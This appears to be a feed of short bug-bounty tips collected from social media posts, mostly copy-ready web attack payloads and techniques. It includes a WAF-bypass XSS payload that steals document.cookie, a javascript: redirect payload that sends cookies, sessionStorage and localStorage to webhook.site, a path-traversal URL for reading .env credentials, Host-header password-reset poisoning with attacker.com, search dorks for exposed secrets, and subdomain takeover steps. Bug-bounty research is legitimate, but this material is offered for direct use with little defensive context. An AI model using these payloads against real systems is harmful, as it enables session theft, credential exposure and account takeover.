Will Gates

“If you want to find the secrets of the universe, think in terms of energy, frequency and vibration.” ~ Nikola Tesla

Cross Site Scripting (XSS) Akamai WAF Bypass. 🔥 Try this payload: <!--><svg+onload=%27top[%2fal%2f%2esource%2b%2fert%2f%2esource](document.cookie)%27> Remember to add payload to your list: 📝 credit: @ethical_h4ck3r_ #bugbountytips #bugbounty

/login?redirectUrl=javascript:fetch('webhook.site 0{method:'POST',%20body:JSON.stringify({cookies:document.cookie,sessionStorage:sessionStorage,localStorage:localStorage})}) credit: @JoaoGomes12243 #bugbountytips #BugBounty

I earned $$$$$ for my submission on bugcrowd.com/h/ahmadalzuriqi Found a flaw in /api/users/$id/rest-password/ (admin panel): OTP exposed inside JWT → reset password → new password. → Admin account takeover credit: @ZuriqiAhmad #BugBounty #bugbountytips

From a small mistake to make the full control over an internal ticketing system worth $$$$. Checkout my latest writeup: medium.com/@NeM0x00/from-a-s… credit: @Yousef39960629 #bugbountytips #bugbounty #bughunting

Sensitive Information Disclosure(path Traversal)🔥 URL: http://IP_removed/index.php/%2e%2e/%2e%2e/.env IMPACT: Database credentials, Laravel app_key. credit: @datafuel0 #BugBounty #bugbountytip

My new writeup: 23000$ for Authentication Bypass & File Upload & Arbitrary File Overwrite credit: @h4x0r_dz #bugbountytips #BugBounty #infosec medium.com/@h4x0r_dz/23000-f…

⚡ 'Datr' cookie theft and AI leads to Facebook account takeover via trusted device recovery ($24,000 bounty) Blog: ysamm.com/uncategorized/2025… Author: @samm0uda credit: @mqst_ #bugbountytips #BugBounty #infosec

Tip: Add to your wordlist /backup.tar credit: @111xNagashy #bugbountytips #BugBounty

$500 bounty for DNS email takeover via improper domain verification. A non-authorized DNS mail under the main domain was accepted as a company email, allowing account creation and data access. credit: @jatav_ravi #bugbountytips #BugBounty

Account Takeover via Password Reset Poisoning Tips :- 1- During signup or password reset flow replace the Host header value with:- Host: attacker.com 2- Observe that the email verification or password reset link got poisoned credit: @wadgamaraldeen #bugbountytips

Subdomain Takeover via Unclaimed CNAME 1️⃣ dev(.)example(.)om → CNAME to unclaimed(.)project(.)hosting(.)com 2️⃣ project(.)hosting(.)com is not in use 3️⃣ Attacker creates a project at that provider with same name 4️⃣ Takes over dev(.)example(.)com credit:@NullSecurityX #bounty

high severity vulnerability 🔥 Low-priv got 401 on versioned endpoint. Removing v2 bypassed auth and exposed sensitive identity images. Normal: /omni/get/images/v2 (401) Bypass: /omni/get/images (succeeds) credit: @mrdesoky0 #bugbountytips #BugBounty

Reflected XSS on Hyundai subdomain. 🎯 Payload: "><svg/onload=confirm(1)> #xss #bugbountytips #BugBounty

🔥 Low => Critical ? Tip:- When find phpinfo search about [db_password ,db_username] credit: @111xNagashy #bugbountytips #BugBounty

Google Dorks are still undefeated in 2026. 🔍 Found a "sussy" config leak today full SMTP access was just sitting there in plain text. Impact verified, report sent, and awareness raised. credit: @0x0smilex #bugbountytips #ethicalhacking

Found an exposed .env file using a simple dork: site:example.com filetype:env #bugbountytips #BugBounty

Found a fantastic free web app for new Bug Bounty Hunters who can’t invest much into tools yet. trinetlayer.com You can instantly jump into scanning and spend more time exploring, digging deeper, and sharpening your techniques. credit: @Raman_Mohurle #bugbountytips

Here is how chaining a self‑XSS with an HTML email injection resulted in account takeover blog.ayoubnouri.me/blog/when…… credit: @ay0ub_n0uri #bugbountytips #xss

PDF file for XSS, it can bypass any waf for who looking for Stored XSS , and it can be changed to blind if you want to Simply I encoded the payload as ASCII hex You can edit the payload over notepad++ github.com/orwagodfather/… credits: @GodfatherOrwa #bugbountytips

A very good xss payload.🔥 <sCriPt x>(((confirm)))``</scRipt x> credit: @viehgroup #bugbountytips #xss #bugbounty